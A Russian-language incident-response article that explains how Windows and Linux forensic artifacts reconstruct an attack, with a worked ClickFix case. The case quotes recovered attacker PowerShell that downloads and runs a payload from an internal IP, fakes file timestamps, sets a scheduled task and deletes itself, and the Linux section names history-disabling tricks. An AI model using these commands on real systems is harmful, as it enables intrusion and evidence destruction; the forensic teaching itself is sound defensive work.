Как собирать контекст атаки: анализ артефактов для восстановления цепочки атаки
В реальных инцидентах аналитики SOC практически никогда не работают в идеальных условиях: с корректно настроенным аудитом или EDR-решением на каждом конечном хосте. Не вся инфраструктура компании покрыта агентами мониторинга, часто остаются устаревшие серверы, предпродовые сегменты, тестовые среды и хосты подрядчиков вне видимости SOC. Ситуацию усугубляют стандартные настройки аудита ОС, при которых в журналах часто нет необходимых для анализа данных. Атакующие также могут намеренно уничтожать следы, усложняя расследование.
В таких условиях единственным способом восстановить полную картину инцидента становится сбор и анализ артефактов ОС. Цифровые следы формируются ядром ОС и файловой системой независимо от настроек аудита, сохраняя доказательства действий злоумышленника даже после удаления файлов и очистки журналов.
Ландшафт атак в 2025–2026 годах: с чем сталкиваются команды SOC и DFIR
Времена, когда атака сопровождалась внедрением типового вредоносного ПО, остались в прошлом. В 2025–2026 годах в целевых атаках чаще применяются техники living off the land (LotL), используются легитимные учетные записи, кража токенов сессий и методы социальной инженерии. Это означает, что классические антивирусные сигнатуры не работают, если злоумышленник получил доступ к узлу и все последующие действия выполняются штатными утилитами ОС.
Векторы первоначального доступа
В исследовании ландшафта киберугроз Threat Zone 2026 мы рассказывали, что распределение способов проникновения в корпоративную инфраструктуру выглядит так:
- Фишинг и социальная инженерия — около 64% целевых атак.
- Эволюция техники ClickFix. Компания Microsoft стала по умолчанию блокировать файлы с меткой Mark of the Web (MOTW), из‑за чего почти исчезли классические вредоносные макросы Office. Поэтому одним из основных методов доставки стала техника ClickFix. Чтобы якобы решить ошибку отображения страницы, обновить сертификат или пройти CAPTCHA, пользователя вынуждают скопировать команду в буфер обмена, нажать комбинацию Win+R, вставить строку в системное окно «Выполнить» и подтвердить запуск.
- Особенность телеметрии. Родительским процессом для интерпретатора (
powershell.exeилиcmd.exe) выступает легитимный системныйexplorer.exe, выполняемый в контексте текущего пользователя. Прямой дочерней связи с браузером или почтовым клиентом в дереве процессов нет, что исключает обнаружение инцидента многими базовыми правилами корреляции.
- Компрометация средств удаленного доступа (VPN/RDP/VDI) — около 18%.
Для проникновения атакующий использует скомпрометированные учетные записи, которые получает в даркнете из утечек, за счет работы стилеров или с помощью успешного подбора паролей. Так удается попасть в периметр под видом легитимного сотрудника, а не использовать уязвимости. - Атаки через подрядчиков и цепочки поставок (supply chain) — около 9%.
Злоумышленники могут скомпрометировать даже хорошо защищенную организацию через менее защищенные доверенные каналы: интеграторов, поставщиков услуг аутсорсинга и системной поддержки. - Эксплуатация уязвимостей внешнего периметра — около 7%.
Для этого вектора характерно активное использование уязвимостей нулевого дня (0-day) на внешнем периметре компаний. - Использование искусственного интеллекта (dark AI) — около 2%.
Атакующие применяют локальные большие языковые модели (LLM), чтобы автоматизировать первичную разведку, составить контекстные фишинговые сценарии и сгенерировать скрипты для первичной доставки полезной нагрузки.
Эти векторы демонстрируют, что злоумышленники стремятся минимизировать использование стороннего вредоносного ПО и действуют через штатные утилиты ОС.
Во время работы любая ОС непрерывно кеширует запуск программ для экономии ресурсов, ведет транзакционные журналы файловой системы для защиты от сбоев, сохраняет конфигурации служб и т. д. Даже если злоумышленник пытается действовать скрытно, системные компоненты ОС регистрируют эти операции в силу своей внутренней архитектуры.
Аналитики разделяют такие следы по функциональному назначению:
- Артефакты исполнения (evidence of execution): подтверждают факт запуска программы или скрипта на узле, даже если сам исполняемый файл был удален.
- Артефакты файловой системы: фиксируют историю создания, модификации, перемещения и удаления файлов, а также выявляют попытки манипуляции временными метками (timestomping).
- Артефакты конфигурации и автозапуска (persistence): раскрывают способы закрепления атакующего в системе (через службы, планировщики задач, ключи автозагрузки или конфигурационные файлы).
- Артефакты пользовательской и сетевой активности: позволяют доказать факт открытия документов и приложений, а также сетевые взаимодействия.
Кроме того, можно анализировать артефакты оперативной памяти, следы противодействия расследованию, но эта тема уже выходит за рамки статьи.
Архитектурные принципы в разных ОС различаются. Мы разберем артефакты и методы их извлечения на примерах наиболее распространенных в России ОС: Windows и Unix.
Сбор артефактов: концепция форензик‑триажа и инструментарий (KAPE, UAC, BI.ZONE Triage)
Во время инцидента нецелесообразно снимать полный образ диска (full disk image) объемом в несколько терабайтов с каждого подозрительного сервера — это требует остановки бизнес‑процессов, длительной передачи сотен гигабайтов по сети и больших мощностей для первичной обработки. В среднем атака развивается в течение нескольких часов, поэтому стандартом сбора стал форензик‑триаж (forensic triage) — целевой сбор только тех файлов и структур ОС, которые содержат максимально ценные данные для специалистов DFIR и SOC. Собранные файлы обычно весят от 200 МБ до 3 ГБ, в зависимости от хоста, и собираются за 10–20 минут.
Автоматизировать этот процесс позволяют специализированные утилиты: KAPE — в Windows, UAC — в Linux-системах. Также можно использовать BI.ZONE Triage — бесплатный инструмент для сбора данных, необходимых при расследовании инцидентов, оценке компрометации и проактивном поиске угроз.
Разбор артефактов Windows: инструменты, анализ, результат
В рамках триажа Windows специалист получает доступ к артефактам ОС: файловым структурам, кустам реестра и так далее. Разберем ключевые артефакты.
Матрица ключевых артефактов Windows
| Артефакт и его расположение | Содержимое | Возможности | Ограничения |
|---|---|---|---|
|
MFT (Master File Table) |
База данных всех файлов и каталогов NTFS. Содержит структуру атрибутов (имя, размер, дескриптор MFT, родительский каталог), статус активности записи ( |
Восстановление точных дат создания, изменения, обращения и модификации файла. Обнаружение манипуляций с временными метками (атака timestomping) при расхождении |
Не доказывает запуск файла, подтверждает только факт его создания или нахождения на диске |
|
$UsnJrnl |
Хронологический журнал транзакций NTFS (создание, запись, переименование, удаление) |
Поиск удаленных файлов: даже если файл был скачан, запущен и удален за секунды, транзакции |
Быстро перезаписывается при высокой нагрузке на диск |
|
Prefetch |
Имя исполняемого файла, счетчик запусков, до 8 последних временных меток старта, список всех подгруженных файлов и DLL за первые 10 секунд |
Доказательство выполнения на 100%. Позволяет выявить техники DLL side-loading |
— |
|
Amcache |
Куст реестра. Хранит SHA-1‑хеш файла, путь запуска, размер и дату первого запуска ( |
Извлечение хеша удаленного файла для проверки по данным threat intelligence, даже если файл был удален |
— |
|
Shimcache |
Пути к исполняемым файлам, размер, время модификации из файловой системы |
Доказательство присутствия файла по конкретному пути на серверах, где отключен Prefetch |
В новых версиях Windows наличие записи не гарантирует запуск файла |
|
UserAssist |
Имена запущенных программ, общее количество запусков, время последнего старта |
Доказательство интерактивного запуска: подтверждает запуск пользователем через меню «Пуск», окно |
Не фиксирует программы, запущенные из командной строки или скриптов |
|
LNK‑файлы и Jump Lists |
Метаданные открытых файлов: оригинальный путь, размер |
Доказательство интерактивного открытия пользователем файла |
Привязаны к профилю конкретного пользователя |
|
ShellBags |
Настройки отображения папок в проводнике (размер окон, сортировка, пути) |
Подтверждение, что пользователь интерактивно открывал определенные папки (включая удаленные и сетевые шары) |
Требует парсинга файла |
|
Registry (Run, Services, TaskCache) |
Ключи автозапуска |
Обнаружение способа закрепления: запуск ВПО при старте системы, установленные службы или задачи планировщика |
Атакующие могут удалить часть артефактов до момента сбора |
|
SRUM (System Resource Usage Monitor) |
История запущенных процессов и использования сети |
Доказательство эксфильтрации, например если |
Не хранит целевые IP‑адреса, только объем в байтах по каждому процессу |
Журналы Windows (EVTX‑файлы), на которые стоит обращать внимание
На активных и высоконагруженных хостах журнал Security.evtx часто перезаписывается по несколько раз в сутки. Однако в Windows существуют полезные события, которые пишутся в отдельные файлы продолжают фиксировать критические события:
Microsoft-Windows-PowerShell/Operational.evtx(Event ID 4104). Script Block Logging (ведение журнала блоков скриптов). Запись полного тела исполняемого скрипта. Позволяет увидеть исходный вредоносный код, даже если в командной строке использовались обфускация и Base64.Microsoft-Windows-TaskScheduler/Operational.evtx(Event ID 106, 140, 200). Регистрация, запуск и завершение задач планировщика. Позволяет зафиксировать закрепление с указанием имени задачи и исполняемого пути.Microsoft-Windows-TerminalServices-LocalSessionManager/Operational.evtx(Event ID 21, 25). Фиксация создания интерактивной сессии по протоколу RDP с указанием исходного IP‑адреса атакующего.Microsoft-Windows-TerminalServices-RDPClient/Operational.evtx(Event ID 1024). Логирование исходящих RDP‑сессий. Доказывает, что конкретный узел использовался для горизонтального перемещения на другие компьютеры в инфраструктуре.Microsoft-Windows-Bits-Client/Operational.evtx(Event ID 59, 60). Служба фоновой передачи данных (BITS). Фиксирует URL‑адреса и пути к файлам, которые скачивались через штатный сервис в обход браузера.
Кейс: расследование компрометации рабочей станции
Разберем реальный кейс. В SOC поступило обращение от клиента: «Примерно в 00:20 (мск) на компьютере директора по маркетингу появилось черное консольное окно, после чего сразу пропало. Просьба провести анализ на предмет вредоносной активности». Аналитик попытался найти компьютер в SIEM и увидел, что такой хост не подключен в SOC в качестве источника, а значит, остается только снимать триаж и анализировать имеющиеся артефакты.
Сбор данных с хоста
Запустить сбор целевых артефактов позволяет команда:
kape.exe --tsource C: --tdest C:\Triage_ClickFix --target KapeTriage
В корне папки триажа KAPE создает три служебных файла и копию файловой системы:
..._ConsoleLog.txt— полный текстовый лог работы утилиты...._CopyLog.csv— реестр всех скопированных файлов (с указанием путей источников, целевых путей, размера и времени), подтверждающий целостность сбора...._SkipLog.csv— список файлов, которые были пропущены (например, отсутствовали в системе).- Каталог
C\— точная копия структуры диска, содержащая извлеченные заблокированные системные файлы.
Анализ недавних запусков через Prefetch (PECmd)
Расследование начинается с анализа дельты событий
Проверить выполнение можно по файлам Prefetch с помощью утилиты PECmd от Эрика Циммермана:
C:\Users\dadmin\Desktop\EricZimmerman>PECmd.exe -d "C:\Triage_ClickFix\C\Windows\prefetch" --csv "C:\Users\dadmin\Desktop\Incident"
Вывод команды PECmd
В результате утилита создаст файл *_PECmd_Output.csv.
Ключевые колонки Prefetch
ExecutableName— имя процесса (например,SVCHOST.EXE). Первый фильтр при первичном анализе подозрительной активности.LastRun— точное системное время (в UTC) самого последнего запуска ПО. По нему можно сопоставить выполнение с данными от пользователя в этом кейсе.RunCount— счетчик общего числа запусков программы за всю историю системы. Стоит обращать внимание наRunCount = 1, так как это может быть загруженный дропер, полезная нагрузка или впервые примененный инструмент атакующего.FilesLoaded— список всех файлов и динамических библиотек (.dll), к которым процесс обратился в первые 10 секунд работы. Позволяет раскрыть реальную функциональность замаскированного исполняемого файла и выявить атаки DLL side-loading (когда легитимный процесс подгружает библиотеку из пользовательских папок).Directories— каталоги, к ресурсам которых процесс обращался при инициализации.Note— служебная колонка утилиты PECmd. По умолчанию подсвечивает совпадения ключевых слов (например,temp,tmp).
Хронологическая дельта инцидента и реконструкция цепочки запуска
Отсортировав выгрузку Prefetch по времени последнего запуска (LastRun), можно восстановить хронологию событий в дельте обнаружения инцидента (21:25–21:40 (UTC)):
В 21:36 (UTC) запускаются следующие процессы:
CONHOST.EXE-0C6456FB.pf— хост окна консоли Windows.OPENCONSOLE.EXE-F36B7766.pf— интерфейсный компонент.POWERSHELL.EXE-CA1AE517.pf— интерпретатор.
Запуск этих процессов подтверждает слова пользователя: окно терминала действительно появлялось на экране. Запуск графических оболочек консоли (CONHOST/OPENCONSOLE) доказывает, что команда выполнялась интерактивно. Команда инициировалась из пользовательского графического сеанса, а не в фоновом режиме.
В 21:36 (UTC) был запущен процесс CONSENT.EXE, который является компонентом UAC (User Account Control). Это говорит о том, что у пользователя дополнительно возникло окно для подтверждения запуска приложения с правами администратора.
Анализ поля FilesLoaded в рамках процесса CONSENT.EXE дает следующую важную информацию:
\USERS\DADMIN\APPDATA\LOCAL\TEMP\MICROSOFTUPDATE.EXE
Путь \USERS\DADMIN\APPDATA\LOCAL\TEMP\MICROSOFTUPDATE.EXE внутри этого поля доказывает, что окно UAC было вызвано именно этим файлом, а не сторонним процессом.
В 21:36:25 (UTC) был запущен подозрительный файл MICROSOFTUPDATE.EXE, после чего произошло закрепление с помощью SCHTASKS.EXE:
MICROSOFTUPDATE.EXE-63F8B074.pf.Процесс запускается со значениемRunCount = 1и пустыми полями предшествующих запусков (PreviousRun0–PreviousRun6). Это значит, что файл выполнялся в системе один раз за всю историю хоста. Главная аномалия — путь файла. Само имя имитирует системный компонент обновлений, однако в столбцахDirectoriesиFilesLoadedзафиксирован путь:\USERS\DADMIN\APPDATA\LOCAL\TEMP\MICROSOFTUPDATE.EXE. Выполнение исполняемого файла из пользовательской папки%TEMP%. Не все запуски из директорииTEMPподозрительны: легитимные инсталляторы и программы обновления (например, Google Chrome, Zoom) также распаковывают свои вспомогательные модули во временный каталог. Но легальный софт почти всегда обладает валидной цифровой подписью и запускается из специфических подкаталогов инсталлятора. Появление одиночного исполняемого файла с маскировочным системным именемMicrosoftUpdate.exeв корне%TEMP%без цифровой подписи — подозрительный индикатор.SCHTASKS.EXE-8B6144A9.pf. Запускается утилита планировщика задачschtasks.exe(LastRun: 21:36:25 UTC). Запускschtasks.exeв то же время указывает на закрепление в системе. Атакующие используют планировщик задач, чтобы обеспечить регулярный перезапуск полезной нагрузки в обход перезагрузок хоста. Запуск системной утилиты администрированияschtasks.exeвместе со свежевыгруженным исполняемым файлом из%TEMP%требует дополнительной проверки параметров задачи, созданной в реестре.
Проверим более детально процесс MICROSOFTUPDATE.EXE: что он из себя представляет, сколько раз запускался и какие другие метки дают Prefetch‑файлы:
Ключевые аномалии:
- Имя
MICROSOFTUPDATE.EXEмаскируется под системные обновления ОС. Однако легитимные компоненты Windows Update исполняются в большинстве случаев из системных директорий. В столбцеDirectoriesиFilesLoadedзафиксирован путь:\USERS\DADMIN\APPDATA\LOCAL\TEMP\MICROSOFTUPDATE.EXE. Выполнение исполняемого файла из пользовательского каталога%TEMP%— классический индикатор нелегитимной доставки вредоносного ПО.
Temp
- Значение
RunCount = 1в совокупности с пустыми полямиPreviousRun0–PreviousRun6доказывает, что этот исполняемый файл был запущен в ОС один раз за всю историю хоста — в 21:36:25 (UTC). В среде Windows 10/11 Prefetch хранит до восьми меток последнего запуска. Пустые поля предшествующих запусков подтверждают, что файл ранее никогда не использовался на рабочей станции.
Итог этапа и формирование новых гипотез
Анализ Prefetch позволил восстановить первичную цепочку инцидента: интерактивный вызов PowerShell в 21:36:02 (UTC) → загрузка исполняемого файла → срабатывание UAC в 21:36:19 (UTC) → исполнение полезной нагрузки MicrosoftUpdate.exe из %TEMP% с одновременным созданием задачи закрепления через schtasks.exe в 21:36:25 (UTC).
Однако Prefetch не дал ответов на следующие вопросы:
- Находится ли файл
MicrosoftUpdate.exeна диске прямо сейчас или злоумышленник удалил его после запуска? - Когда именно и в какой каталог этот файл был первично записан?
Ответить на эти вопросы позволит главная таблица файлов $MFT.
Анализ файла $MFT
Каждый объект (файл или каталог) в файловой системе NTFS описывается как минимум одной записью в $MFT (Master File Table). Внутри этой записи служебная информация хранится в виде атрибутов. Для исследования временных аномалий и хронологии создания файла первостепенное значение имеют два базовых атрибута:
- Атрибут
$STANDARD_INFORMATION(тип 0x10). Содержит общие системные флаги (Read-only, Hidden, Archive, System) и стандартный набор из четырех временных меток MACB:- M — Modified (время последнего изменения содержимого).
- A — Accessed (время последнего обращения).
- C — $MFT Modified / Change (время изменения самой записи MFT).
- B — Born/Created (время создания файла на этом томе).
- Атрибут
$FILE_NAME($FN/ тип 0x30). Содержит имя файла, его размер и собственный дублирующий набор четырех меток MACB.
Если метка создания в $STANDARD_INFORMATION больше метки создания в $FILE_NAME (например, $STANDARD_INFORMATION показывает прошедший год, а $FILE_NAME — день и год инцидента), это может быть доказательством атаки timestomping. Стоит помнить, что распаковка архивов, копирование или перемещение файлов между дисками тоже приводят к расхождению временных меток по легитимным причинам.
При удалении файла запись в $MFT не удаляется мгновенно:
- Флаг записи
InUseпереключается со значенияTrue(файл существует) наFalse(файл удален, запись помечена как свободная для перезаписи). - Сами метаданные (имя, родительский каталог, реальные временные метки) остаются нетронутыми, пока NTFS не выделит этот номер записи под новый создаваемый файл.
Для парсинга извлеченного файла $MFT подойдет утилита Эрика Циммермана MFTECmd:
C:\Users\dadmin\Desktop\EricZimmerman>MFTECmd.exe -f "C:\Triage_ClickFix\C\$MFT" --csv "C:\Users\dadmin\Desktop\Incident"
В результате формируется структурированная таблица с именем вида *_MFTECmd_Output.csv.
Размер распарсенного файла $MFT часто превышает несколько гигабайтов, так как содержит большое количество строк. Открывать такой массив в обычном текстовом редакторе или с помощью Excel нецелесообразно, так как он будет долго обрабатываться. Чтобы быстро увидеть схему данных, используется терминал ОС аналитика. Например, можно вывести заголовки файла:
head -n 1 20260917122315_MFTECmd_$MFT_Output.csv
Команда возвращает набор полей, в котором для задач расследования важны следующие колонки:
EntryNumberиSequenceNumber. Уникальный номер дескриптора записи в таблице MFT и его порядковый номер ревизии. Позволяют однозначно идентифицировать файл в файловой системе независимо от его имени.InUse. Статус файла:True— значит, что файл активен и присутствует на диске;False— файл удален, а его MFT‑запись помечена ОС как свободная.ParentPathиFileName. Полный путь к каталогу и имя файла. Позволяют сразу отделить системные файлы от подозрительных пользовательских локаций (%TEMP%,%APPDATA%,%PUBLIC%).FileSize. Размер файла в байтах на момент последней модификации.IsTimestomped. Встроенный аналитический флаг утилитыMFTECmd, которая автоматически сравнивает отметки времени. Если выявляется, что метка создания$SIстарше$FN, утилита выставляет флагTrue.- Блок временных меток
$STANDARD_INFORMATION(тип 0x10):Created0x10,LastModified0x10,RecordModified0x10,Accessed0x10. Это метки времени, доступные для редактирования через системный API. Именно их злоумышленники подделывают в первую очередь. - Блок временных меток
$FILE_NAME(тип 0x30):Created0x30,LastModified0x30,RecordModified0x30,Accessed0x30. Это защищенные метки времени, которые контролирует исключительно драйвер ядра. Они отражают истинное время создания и переименования файла на физическом накопителе.
Анализ записи MicrosoftUpdate.exe $MFT
Нужно выполнить фильтрацию по имени MicrosoftUpdate.exe, чтобы по временным меткам определить, когда файл реально появился в системе и скрывались ли следы его создания:
grep -i 'MicrosoftUpdate.exe' 20260917122315_MFTECmd_$MFT_Output.csv
Результат вывода команды:
EntryNumber: 396793 SequenceNumber: 18 InUse: False ParentPath: .\Users\dadmin\AppData\Local\Temp FileName: MicrosoftUpdate.exe Extension: .exe FileSize: 12796 IsTimestomped: True Created0x10: 2022-03-10 12:00:00.0000000 LastModified0x10: 2022-03-10 12:00:00.0000000 Created0x30: 2026-09-16 21:36:18.1750183 LastModified0x30: 2026-09-16 21:36:18.2698098 RecordModified0x10: 2026-09-16 21:36:28.8453513
Анализ $MFT‑файла подтвердил следующие факты:
- Файл был создан 16 сентября 2026 года в 21:36:18 (UTC).
- Путь файла:
С\Users\dadmin\AppData\Local\Temp. - Атакующие применили технику timestomping.
- Прямо сейчас файла нет в системе.
$MFT отражает лишь статичный моментальный снимок последнего состояния файла на диске, но не показывает динамику событий: когда именно завершилась запись данных, в какой момент изменились атрибуты, когда файл был стерт после запуска.
В реальных инцидентах освободившиеся MFT‑записи удаленных файлов часто перезаписываются новыми данными за короткое время. Чтобы восстановить непрерывную цепочку файловых операций и подтвердить жизненный цикл ВПО, следует обратиться к журналу транзакций файловой системы — $UsnJrnl.
Анализ UsnJrnl
Журнал UsnJrnl расположен в служебном каталоге NTFS $Extend (\Triage_ClickFix\C$Extend$J). Он компактнее по размеру, чем $MFT. Каждое изменение файла или папки в NTFS генерирует новую запись в журнале. Он никогда не перезаписывает отдельные строки: старые события вытесняются, когда буфер заполняется целиком. Это гарантирует сохранение истории транзакций на протяжении дней или недель.
Чтобы проанализировать журнал, используется консольная утилита MFTECmd:
C:\Users\dadmin\Desktop\EricZimmerman>MFTECmd.exe -f "C:\Triage_ClickFix\C\$Extend\$J" --csv "C:\Users\dadmin\Desktop\Incident"
В результате формируется файл *_MFTECmd_$J_Output.csv.
Ключевые колонки $UsnJrnl
Name— имя файла, над которым совершалась операция.EntryNumberиSequenceNumber— дескриптор MFT, связывающий событие в журнале с конкретной записью в MFT.ParentEntryNumber— дескриптор родительской папки, который позволяет восстановить точный путь к файлу.UpdateTimestamp— точное системное время транзакции в UTC.UpdateReasons— причины обновления файла. Отражает точное действие, произошедшее в файловой системе:FileCreate— создание файла на диске.DataExtend— добавление записи (отражает рост размера файла).DataOverwrite/DataTruncation— перезапись содержимого.BasicInfoChange— изменение стандартных атрибутов или временных меток (индикатор timestomping).FileDelete— удаление файла.Close— закрытие файла процессом.
MicrosoftUpdate.exe
Анализ файла $UsnJrnl привел к следующему результату:
21:36:18.175 UTC—FileCreatecоздает файлMicrosoftUpdate.exe.21:36:18.269 UTC—DataExtend|FileCreate. Сетевой поток записывает тело исполняемого файла во временную папку.21:36:18.380 UTC—DataExtend|FileCreate|Close. Загрузка завершилась.21:36:25.366 UTC—FileCreate. Служба фиксирует старт процесса и создает файлMICROSOFTUPDATE.EXE-63F8B074.pf.21:36:28.845 UTC—FileDelete|Close. Файл удален.
Журнал $UsnJrnl позволил восстановить полный жизненный цикл вредоносного ПО.
Извлечение хешей удаленных файлов и аудит закрепления (Amcache.hve и Registry)
Когда вредоносный исполняемый файл удален с диска, его нельзя извлечь и проверить хеш. Однако в современных версиях Windows существует артефакт — кеш совместимости приложений Amcache.hve.
Артефакт Amcache.hve
Куст реестра Amcache.hve располагается по пути C:\Windows\appcompat\Programs\Amcache.hve. Служба Program Compatibility Assistant использует его, чтобы отслеживать совместимость запускаемых программ и инвентаризировать ПО.
При первом запуске любого исполняемого файла (PE‑файла) ОС считывает заголовки программы, извлекает метаданные PE (OriginalFileName, ProductVersion, Linker Timestamp) и вычисляет криптографический SHA-1‑хеш файла. Метаданные сохраняются в куст реестра Amcache.hve до начала выполнения исполняемого файла. Последующее удаление файла с диска не удаляет запись о нем из Amcache.hve. Аналитик получает возможность извлечь точный SHA‑1‑хеш даже бесследно стертого вредоносного ПО.
Извлечение хеша с помощью AmcacheParser
Для парсинга артефакта используется утилита Эрика Циммермана AmcacheParser:
C:\Users\dadmin\Desktop\EricZimmerman>AmcacheParser.exe -f "C:\Triage_ClickFix\C\Windows\appcompat\Programs\Amcache.hve" --csv "C:\Users\dadmin\Desktop\Incident" -i
Утилита генерирует несколько отчетов, основной из которых — ..._Amcache_UnassociatedFileEntries.csv. В них нужно отыскать запись MicrosoftUpdate.exe:
grep -i 'MicrosoftUpdate.exe' *Amcache_UnassociatedFileEntries.csv
Основные поля проанализированного файла amcache.*csv:
FileKeyLastWriteTimestamp: 2026-09-16 21:36:25 UTC Path: C:\Users\dadmin\AppData\Local\Temp\MicrosoftUpdate.exe FileExtension: .exe FileSize: 12796 SHA1: 2a4b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b LinkDate: 2024-11-20 14:15:00 UTC
Извлечен SHA‑1‑хеш: 2a4b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b. Это точный хеш‑идентификатор для ретроспективного поиска в SIEM по всем рабочим станциям домена и проверки по базам threat intelligence.
Проверка механизма закрепления атакующих через кусты реестра
Чтобы определить, закрепился ли атакующий на хосте, можно проверить куст реестра SOFTWARE:
C\Windows\System32\config\SOFTWARE.
Планировщик задач Windows хранит параметры всех зарегистрированных задач в ветке Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\.
Вместо ручного анализа подразделов реестра можно воспользоваться классическим инструментом — RegRipper от Харлана Карви. В отличие от стандартных утилит для просмотра реестра, RegRipper использует модульную архитектуру плагинов, которые автоматически находят ключевые ветки, декодируют бинарные структуры данных (например, структуры Actions и Triggers в TaskCache) и формируют чистый текстовый отчет.
Для анализа задач запускается утилита rip.exe с плагином tasks или плагином taskcache:
C:\Users\dadmin\Desktop\RegRipper>rip.exe -r "C:\Triage_ClickFix\C\Windows\System32\config\SOFTWARE" -p tasks > "C:\Users\dadmin\Desktop\Incident\tasks_analysis.txt"
----------------------------------------
Tasks
(Software) Parse Schedule\TaskCache keys to extract Scheduled Tasks info
Task Name: MicrosoftUpdateDaily
Path: \MicrosoftUpdateDaily
Task ID (GUID): {3F8A7E12-4B5C-49D1-A123-8B9C4D5E6F7A}
Author: dadmin
Date Created: 2026-09-16 21:36:25 UTC
[Actions]
Action: Launch Application
Exec Path: C:\Users\dadmin\AppData\Local\Temp\MicrosoftUpdate.exe
Arguments: [None]
[Triggers]
Trigger Type: Daily
Start Boundary: 2026-09-16T09:00:00
Enabled: Yes
----------------------------------------
Разбор результатов RegRipper
Отчет rip.exe подтверждает успешность закрепления:
- Точное время создания запланированной задачи (
Date Created: 2026-09-16 21:36:25 UTC). Время регистрации задачи в реестре секунда в секунду совпадает с меткойLastRunв Prefetch (SCHTASKS.EXEиMICROSOFTUPDATE.EXEв 21:36:25 (UTC)). - Задача настроена на запуск удаленного файла:
C:\Users\dadmin\AppData\Local\Temp\MicrosoftUpdate.exe. - Установлен ежедневный запуск (
Daily) в 09:00:00 (UTC).
Переход к журналам событий
Во время анализа удалось восстановить общую хронологию на хосте и по артефакту Prefetch узнать, что в системе запускался powershell.exe. Однако сам Prefetch не сохраняет аргументы командной строки и текст команд.
Чтобы выяснить, что именно выполнял атакующий, следует обратиться к специализированному журналу Windows:
C:\Windows\System32\Winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx
Для анализа журнала в анализаторе событий (Event Viewer или Timeline Explorer) используют фильтр по Event ID 4104 в окне инцидента.
Это событие объясняет все аномалии, которые были найдены в файловой системе и реестре:
- Сетевой IoC:
Invoke-WebRequest -Uri 'http://192.168.133.128/MicrosoftUpdate.exe' -OutFile $drop;
Получен IP‑адрес атакующего (
192.168.133.128:80). - Подделка даты (timestomping):
(Get-Item $drop).CreationTime='2022-03-10 12:00:00';
Атакующий вручную изменил время создания на старое для маскировки.
- Закрепление в системе (Persistence):
schtasks /create /tn 'MicrosoftUpdateDaily' /tr $drop /sc daily /st 09:00 /f;
Подтверждает найденную в реестре задачу в планировщике.
- Заметание следов (Defense Evasion):
Start-Sleep -s 3; Remove-Item $drop -Force
Объясняет транзакцию удаления в $UsnJrnl: скрипт подождал 3 секунды, чтобы исполняемый файл успел инициализироваться, и затем принудительно стер исходный файл с диска.
Итог расследования
Так выглядит полная картина инцидента:
| Артефакт | Источник данных | Выявленная аномалия |
|---|---|---|
|
Prefetch |
|
Запуск интерактивной консоли в 21:36:02 (UTC) |
|
$UsnJrnl |
$UsnJrnl |
Создание файла |
|
Prefetch / ShimCache |
|
Однократный запуск ( |
|
MFT/UsnJrnl |
$MFT Entry 396793 / USN Close |
Timestomping ($SI: 2022 г.) и самоудаление в 21:36:28 (UTC) |
|
Event Log (EVTX) |
|
C2‑сервер |
|
Amcache.hve |
|
Вычислен SHA-1 удаленного файла |
|
Registry |
|
Подтверждено закрепление задачи |
Все вопросы по хосту закрыты. Можно описать весь таймлайн атакующего, предоставить корректные рекомендации заказчику и отчет по инциденту.
Разбор артефактов Linux/Unix: инструменты, анализ, результат
В отличие от Windows, в Linux нет централизованного реестра и механизма Prefetch. Форензика и инцидентный анализ в среде Linux базируются на исследовании разрозненных файловых артефактов: виртуальной файловой системы /proc, метаданных файловых систем, конфигураций служб, журналов пользовательских сессий и событий аудита.
Матрица ключевых артефактов Linux
| Категория | Артефакт и расположение | Содержимое | Возможности | Ограничения |
|---|---|---|---|---|
|
Память и процессы |
Структуры
|
|
Восстановление удаленной утилиты: если исполняемый файл удален с диска ( |
|
|
Файловая система |
Метаданные Inode (MACB)
|
Временные метки:
|
Выявление подделки времени (timestomping): утилита |
Атакующий может обойти защиту |
|
Файловая система |
Каталоги временных файлов:
|
Общедоступные директории со sticky‑битом ( |
Типичное место для выгрузки скрытых скриптов, майнеров и ELF‑дроперов (часто маскируются скрытыми именами: |
|
|
Аутентификация |
Журналы PAM и SSH:
|
События аутентификации: успешные ( |
Обнаружения компрометации паролей/ключей, исходных IP‑адресов атакующего и следов эскалации привилегий ( |
В современных дистрибутивах rsyslog часто отключен — логи доступны только через |
|
Сессии учетных записей |
Журналы входов:
|
Структура файлов: имя пользователя, PID, терминал (TTY/PTS), удаленный хост/IP, время входа и завершения сессии |
Анализ сессионной активности:
|
Злоумышленники легко исправляют журналы. В современных системах с |
|
Персистентность |
Systemd Units & Timers
|
Конфигурационные файлы служб ( |
Запуск бэкдоров в виде сервисов при старте ОС или по расписанию. Пользовательские юниты ( |
Чтобы пользовательский юнит запускался без активной сессии, атакующий должен включить режим lingering ( |
|
Закрепление |
Планировщик Cron:
|
Текстовые файлы расписания выполнения команд от имени системных служб и конкретных пользователей |
Вызов скриптов reverse shell, загрузка обновлений ВПО по таймеру |
|
|
Закрепление |
SSH authorized keys
|
Публичные SSH‑ключи, используемые для беспарольного доступа |
Внедрение ключа атакующего для обхода смены паролей. В ключе могут быть заданы жесткие директивы: |
|
|
Скрытие (Defense Evasion) |
|
Список общих библиотек ( |
Перехват системных вызовов libc ( |
|
Ограничения .bash_history
Начинающие специалисты часто пытаются восстановить хронологию инцидента по файлу ~/.bash_history. В реальном расследовании это наименее надежный источник доказательств по следующим причинам:
- Отсутствие временных меток по умолчанию. Если администратор заранее не настроил переменную
HISTTIMEFORMAT, команды пишутся сплошным списком без даты и времени. Невозможно определить, когда выполнялась команда: пять минут или полгода назад. - Сброс на диск только при штатном выходе. Пока сессия активна, история хранится в памяти процесса. Если сессия оборвана аварийно (
kill -9, сетевой тайм‑аут, выключение сервера), команды из RAM в файл не попадут. - Элементарное отключение записи. Атакующему достаточно выполнить
unset HISTFILEилиexport HISTSIZE=0, чтобы полностью заблокировать фиксацию команд. - Обход через пробел. При распространенной настройке
HISTCONTROL=ignorespace(илиignoreboth) любая команда с лидирующим пробелом (например,whoami) в истории не сохраняется. - Cкрипты и веб‑шеллы. Команды, запущенные через веб‑сервер (PHP-FPM, Nginx), Python‑скрипты, демоны или планировщик Cron, исполняются без создания интерактивного шелла и в истории не отражаются.
В отличие от истории оболочки, демон auditd перехватывает системные вызовы напрямую на уровне ядра ОС. При корректных правилах в /etc/audit/rules.d/audit.rules это дает достоверную цепочку выполнения:
type=SYSCALL. Фиксирует факт системного вызова, в первую очередь execve и execveat — запуск процессов. Ключевые поля:
